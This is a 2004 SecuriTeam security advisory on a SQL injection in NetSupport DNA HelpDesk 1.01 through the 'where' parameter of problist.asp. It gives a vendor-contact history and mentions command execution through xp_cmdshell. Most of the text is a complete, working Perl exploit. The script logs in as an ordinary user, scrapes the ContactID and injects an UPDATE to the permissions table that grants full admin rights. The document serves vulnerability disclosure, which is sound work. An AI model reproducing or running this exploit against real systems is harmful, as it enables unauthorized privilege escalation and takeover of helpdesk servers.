[NT] NetSupport DNA HelpDesk SQL Injection

From: SecuriTeam (support_at_securiteam.com)
Date: 07/21/04

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Date: 21 Jul 2004 18:11:12 +0200

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      NetSupport DNA HelpDesk SQL Injection
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.netsupportsoftware.com/> DNA Helpdesk is "a fully web based
    solution providing detailed recording and tracking of user Help Requests".

    We found the product to contain at least one exploitable SQL Injection
    vulnerability that would allow a normal user to at the very least gain
    administrative privileges to the DNA HelpDesk product, at the worst case
    he will be able to get complete control over (administrative privileges)
    the computer on which the DNA HelpDesk is installed and utilize it to gain
    access to other computers.

    DETAILS

    Vulnerable Systems:
     * NetSupport's DNA HelpDesk version 1.01

    The vulnerable page is the problist.asp, and its 'where' parameter. The
    parameter receives, from the user, part of SQL statement that is later
    used by the DNA HelpDesk. If we insert a malicious SQL statement to the
    'where' parameter, we can modify the HD_Permissions table, and set to our
    ContactId all the permissions from deny to allow.

    Depending on what other information is stored on the SQL server, and how
    it was hardened we could obtain:
    1) SQL's administrative username and password
    2) Execute commands via MS SQL's extended procedure (xp_cmdshell)
    3) Trick users into downloading Trojan horses (by providing them with
    solutions for their Tickets) etc.

    See the below exploit code demonstrating how we gain administrative
    privileges to DNA's HelpDesk, by only providing it with a username and
    password (regular user).

    Vendor response:
    The only response we have received from them to date (We contacted them on
    the 26 April 2004) is:
    Thank you for your email regarding NetSupport DNA Helpdesk. This problem
    has been reproduced and it has been passed to a member in the Development
    team for Investigation.

    Testing Methodology:
    A few months ago Beyond Security built a new module for its Automated
    Scanning Vulnerability Assessment engine to test web sites and web
    applications for security vulnerabilities. This module adds the capability
    to dynamically crawl through a web site and find vulnerabilities in its
    dynamic pages.

    This type of tool was considered to be different from the network VA
    tools, but we at Beyond Security believe that these two types of tools
    should be merged into one, and this is what made us incorporate the Web
    Site Security Audit module to our Automated Scanning engine.

    For a press release on this integration see:
    <http://www.beyondsecurity.com/press/2004/press10030402.htm>
    http://www.beyondsecurity.com/press/2004/press10030402.htm
    White paper on the first integrated network and web application
    vulnerability scanner: <http://www.beyondsecurity.com/webscan-wp.pdf>
    http://www.beyondsecurity.com/webscan-wp.pdf

    Our Automated Scanning engine equipped with the Web Site Security Audit
    module did all the tests described in this advisory automatically.

    Exploit:
    #!/usr/bin/perl

    use IO::Socket;
    use strict;

    my $verbose = 0;

    if (($#ARGV+1) < 4)
    {
     print "Usage (Provided only ".($#ARGV+1)." parameters):\n";
     print "DNAHack.pl host path email password\n";
     print "host - IP/name formed (e.g. 192.168.1.243)\n";
     print "path - The path under which the product is installed (e.g.
    /HelpDesk/)\n";
     print "email - The email used to logon (e.g. example\@com.com)\n";
     print "password - The password used for the email provided (e.g.
    foobar)\n";
     exit(0);
    }

    my $host = $ARGV[0];
    my $path = $ARGV[1];

    my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
    PeerPort => "80" );

    unless ($remote) { die "cannot connect to http daemon on $host" }

    if ($verbose)
    {
     print "connected\n";
    }

    $remote->autoflush(1);

    my $Email = $ARGV[2];
    my $Password = $ARGV[3];

    print "Grabbing initial cookie\n";

    my $http = "GET /$path/logon.asp HTTP/1.1
    Host: $host
    User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405
    Firefox/0.8
    Accept:
    text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,ima
    ge/gif;q=0.2,*/*;q=0.1
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Connection: close
    Referer: http://$host/$path/logon.asp

    ";

    print $remote $http;
    if ($verbose)
    {
     print "HTTP: [".$http."]\n";
    }

    sleep(1);

    my $Cookie = "";
    while (<$remote>)
    {
     if (/Set-Cookie: ([^;]+;)/)
     {
      $Cookie .= $1." ";
     }
     if ($verbose)
     {
      print "$_";
     }
    }

    print "Cookie: $Cookie\n";

    close($remote);

    my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
    PeerPort => "80" );

    unless ($remote) { die "cannot connect to http daemon on $host" }

    if ($verbose)
    {
     print "connected\n";
    }

    $remote->autoflush(1);

    print "Performing logon\n";

    $http = "POST /$path/logon.asp HTTP/1.1
    Host: $host
    User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405
    Firefox/0.8
    Accept:
    text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Cookie: $Cookie
    Connection: close
    Referer: http://$host/$path/logon.asp
    Content-Type: application/x-www-form-urlencoded
    Content-Length: ";

    my $content =
    "EmailAddress=$Email&password=$Password&action=submit&submitBtn=Logon&Redirect=";

    $http .= length($content) ."\r\n";

    $http .= "\r\n$content";

    print $remote $http;
    if ($verbose)
    {
     print "HTTP: [".$http."]\n";
    }
     
    sleep(1);

    while (<$remote>)
    {
     if (/Set-Cookie: ([^;]+;)/)
     {
      $Cookie .= $1." ";
     }

     if ($verbose)
     {
      print "$_";
     }
    }

    close($remote);

    print "Cookie: $Cookie\n";

    print "Grabbing ContactID\n";

    $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
    PeerPort => "80" );
    unless ($remote) { die "cannot connect to http daemon on $host" }

    if ($verbose)
    {
     print "connected\n";
    }

    $remote->autoflush(1);

    $http = "GET /helpdesk/createContact.asp?editself=1 HTTP/1.1
    Host: $host
    User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405
    Firefox/0.8
    Accept:
    text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Connection: close
    Cookie: $Cookie

    ";

    my $ContactID;

    print $remote $http;

    sleep(1);

    while (<$remote>)
    {
     if (/<input type="hidden" id="ContactID" name="ContactID"
    value="([0-9]+)">/)
     {
      $ContactID = $1;
     }
     if ($verbose)
     {
      print "$_";
     }
    }

    close $remote;

    print "ContactID: $ContactID\n";

    print "Gaining elvated privileges\n";

    $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
    PeerPort => "80" );
    unless ($remote) { die "cannot connect to http daemon on $host" }
    if ($verbose)
    {
     print "connected\n";
    }
    $remote->autoflush(1);
                         
    $http = "GET
    /$path/problist.asp?where=1%3D0+order+by+TicketId;+UPDATE+HD_Permissions+SET+denyPermission=0+WHERE+ContactId=$ContactID+-- HTTP/1.1
    Host: $host
    User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405
    Firefox/0.8
    Accept:
    text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Connection: close
    Cookie: $Cookie

    ";

    print "Gaining privileges\n";
    print $remote $http;
    sleep(1);

    while (<$remote>)
    {
     if ($verbose)
     {
      print "$_";
     }
    }
    print "\n";

    close $remote;

    print "Logon to the system as before, you should be able to view the
    'Admin' menu\n";

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:expert@securiteam.com> Noam
    Rathaus.

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